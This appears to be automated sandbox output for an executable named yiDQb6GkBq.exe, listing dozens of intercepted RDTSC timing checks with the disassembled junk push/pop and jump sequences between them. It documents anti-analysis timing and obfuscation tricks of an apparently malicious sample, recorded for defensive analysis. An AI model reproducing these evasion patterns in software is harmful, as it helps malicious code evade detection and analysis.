Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 93C6E7 second address: 93C6FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B0B7C6CEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 84D527 second address: 84D53B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 93F75A second address: 93F76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jg 00007F33B0B7C6C6h 0x0000000c popad 0x0000000d jg 00007F33B0B7C6C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 93F76F second address: 93F774 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 95B51B second address: 95B51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 95B51F second address: 95B523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 95F981 second address: 95F986 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 95F986 second address: 95F9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F33B10E1B06h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F33B10E1B17h 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c jp 00007F33B10E1B06h 0x00000022 jmp 00007F33B10E1B12h 0x00000027 pop eax 0x00000028 push edx 0x00000029 jmp 00007F33B10E1B0Dh 0x0000002e pop edx 0x0000002f jnc 00007F33B10E1B0Eh 0x00000035 push edi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 97923C second address: 979258 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B0B7C6C6h 0x00000008 jmp 00007F33B0B7C6D2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9780DF second address: 9780E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9780E5 second address: 9780E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978263 second address: 978269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978269 second address: 97826D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9783F8 second address: 9783FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9783FC second address: 978400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978400 second address: 97840D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9785BD second address: 9785C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9786EE second address: 9786F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978995 second address: 978999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978999 second address: 9789B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Fh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F33B10E1B06h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978C06 second address: 978C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jmp 00007F33B0B7C6CDh 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 pushad 0x00000014 popad 0x00000015 jng 00007F33B0B7C6C6h 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 jnl 00007F33B0B7C6C6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978C38 second address: 978C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F33B10E1B06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978C43 second address: 978C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnc 00007F33B0B7C6C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978EDB second address: 978F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B19h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F33B10E1B1Ah 0x00000012 jmp 00007F33B10E1B12h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F33B10E1B17h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978F30 second address: 978F4E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33B0B7C6D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 978F4E second address: 978F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 97BEB2 second address: 97BEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 97BF3D second address: 97BF57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F33B10E1B13h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 97BF57 second address: 97BF5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 97C18E second address: 97C1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], eax 0x00000008 cmc 0x00000009 push dword ptr [ebp+122D262Fh] 0x0000000f jns 00007F33B10E1B07h 0x00000015 call 00007F33B10E1B09h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jbe 00007F33B10E1B06h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 97C1B9 second address: 97C1F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a jmp 00007F33B0B7C6CFh 0x0000000f pop esi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push ebx 0x00000015 jmp 00007F33B0B7C6CFh 0x0000001a pop ebx 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f push ebx 0x00000020 jo 00007F33B0B7C6C6h 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 97C1F4 second address: 97C20E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33B10E1B08h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jo 00007F33B10E1B20h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 522011B second address: 5220148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F33B0B7C6D3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5220148 second address: 522014C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 522014C second address: 5220152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0112 second address: 51B017C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, 67B08173h 0x00000010 mov edi, eax 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 movsx ebx, cx 0x00000018 pushfd 0x00000019 jmp 00007F33B10E1B0Ch 0x0000001e sub ax, 4878h 0x00000023 jmp 00007F33B10E1B0Bh 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b jmp 00007F33B10E1B16h 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B017C second address: 51B0180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0180 second address: 51B019D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B019D second address: 51B01A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B01A3 second address: 51B01A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B01A7 second address: 51B01AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B01AB second address: 51B01DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b jmp 00007F33B10E1B0Fh 0x00000010 push dword ptr [ebp+0Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F33B10E1B15h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B01DF second address: 51B01F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, CDh 0x00000005 movzx ecx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B01F3 second address: 51B020F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B020F second address: 51B0215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0C0E second address: 51D0C14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0C14 second address: 51D0C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0C18 second address: 51D0C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0C1C second address: 51D0C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a call 00007F33B0B7C6D2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D077E second address: 51D0782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0782 second address: 51D0788 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0788 second address: 51D079A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B10E1B0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D079A second address: 51D07B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33B0B7C6D3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D07B8 second address: 51D082A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 jmp 00007F33B10E1B15h 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e pushfd 0x0000001f jmp 00007F33B10E1B19h 0x00000024 sbb al, 00000076h 0x00000027 jmp 00007F33B10E1B11h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D06A6 second address: 51D06AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D06AC second address: 51D06CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F33B10E1B0Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D06CF second address: 51D06D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D06D5 second address: 51D0704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007F33B10E1B0Fh 0x0000000f mov bx, cx 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F33B10E1B0Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0704 second address: 51D0713 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0713 second address: 51D0737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0737 second address: 51D073B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D073B second address: 51D074E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D074E second address: 51D0754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0754 second address: 51D0758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0758 second address: 51D075C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D03E5 second address: 51D03EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D03EB second address: 51D03EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D03EF second address: 51D03FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov al, 11h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E019C second address: 51E01A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E01A0 second address: 51E01A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E01A6 second address: 51E0200 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F33B0B7C6D6h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F33B0B7C6D0h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F33B0B7C6D7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0200 second address: 51E0206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0206 second address: 51E020A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52200BB second address: 52200D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52200D6 second address: 52200DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F041B second address: 51F042E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0590 second address: 51D0596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0596 second address: 51D059C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D059C second address: 51D05A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D05A0 second address: 51D05FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F33B10E1B0Fh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F33B10E1B0Bh 0x00000017 pop eax 0x00000018 pushfd 0x00000019 jmp 00007F33B10E1B19h 0x0000001e sub ax, CE36h 0x00000023 jmp 00007F33B10E1B11h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D05FA second address: 51D0645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F33B0B7C6D0h 0x00000015 or si, 9C88h 0x0000001a jmp 00007F33B0B7C6CBh 0x0000001f popfd 0x00000020 call 00007F33B0B7C6D8h 0x00000025 pop esi 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0E2C second address: 51E0E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0E30 second address: 51E0E34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0E34 second address: 51E0E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0E3A second address: 51E0E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B0B7C6CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0E4D second address: 51E0EB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f mov al, 72h 0x00000011 mov dx, 99ACh 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007F33B10E1B17h 0x00000021 adc esi, 11DF4D5Eh 0x00000027 jmp 00007F33B10E1B19h 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0EB4 second address: 51E0ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, dx 0x00000007 popad 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33B0B7C6D4h 0x00000010 rdtsc
